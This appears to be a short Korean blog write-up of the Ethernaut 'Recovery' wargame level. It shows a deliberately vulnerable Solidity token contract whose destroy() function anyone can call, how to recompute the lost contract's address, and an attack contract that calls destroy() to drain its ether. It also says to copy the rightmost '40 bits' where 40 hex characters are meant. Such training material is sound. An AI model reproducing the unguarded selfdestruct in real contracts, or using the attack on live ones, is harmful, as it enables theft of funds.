블록체인/Ethernaut
[Ethernaut] 17. Recovery
dev_dean
2022. 6. 17. 23:01
소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
목표
잃어버린 컨트랙트의 잔고를 0으로 만들어라
방법
콘솔에서
- await contract.address
- web3.utils.soliditySha3("0xd6", "0x94", contract.address, "0x01") //결과의 우측 40 bits 복사
- 코드 작성
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Recovery.sol";
contract RecoverAttack {
SimpleToken target;
constructor(address payable _adr) {
target = SimpleToken(_adr);
}
function remove(address payable _address) public {
target.destroy(_address);
}
}